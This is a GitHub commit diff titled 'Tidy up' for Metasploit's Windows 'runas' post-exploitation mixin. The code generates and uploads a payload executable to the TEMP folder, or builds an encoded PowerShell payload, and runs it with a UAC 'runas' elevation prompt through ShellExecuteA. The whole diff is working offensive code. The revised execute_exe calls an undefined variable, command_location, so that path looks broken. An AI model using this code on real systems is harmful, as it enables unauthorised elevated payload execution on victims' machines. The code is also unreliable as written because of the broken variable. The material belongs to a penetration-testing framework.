Skip to content

Commit d53b56c

Browse files
committed
Tidy up
1 parent b524507 commit d53b56c

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

lib/msf/core/post/windows/runas.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -10,31 +10,31 @@ module Msf::Post::Windows::Runas
1010
include Msf::Exploit::Powershell
1111

1212
def execute_exe(filename=nil, path=nil, upload=nil)
13-
exe_payload = generate_payload_exe
1413
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
1514
payload_path = path || get_env('TEMP')
1615
cmd_location = "#{payload_path}\\#{payload_filename}"
1716

1817
if upload
18+
exe_payload = generate_payload_exe
1919
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
2020
write_file(cmd_location, exe_payload)
2121
else
22-
print_error("No Upload Path!")
23-
return
22+
print_status("No file uploaded, attempting to execute #{cmd_location}...")
2423
end
2524

26-
command = cmd_location
27-
shell_exec(command, nil)
25+
shell_exec(command_location, nil)
2826
end
2927

3028
def execute_psh
31-
command,args = "cmd.exe", " /c #{cmd_psh_payload(payload.encoded)}"
32-
shell_exec(command,args)
29+
powershell_command = cmd_psh_payload(payload.encoded)
30+
command = 'cmd.exe'
31+
args = "/c #{powershell_command}"
32+
shell_exec(command, args)
3333
end
3434

3535
def shell_exec(command, args)
36-
print_status("Executing elevated command!")
37-
session.railgun.shell32.ShellExecuteA(nil, "runas", command, args, nil, 5)
36+
print_status("Executing elevated command...")
37+
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
3838
end
3939
end
4040

0 commit comments

Comments
 (0)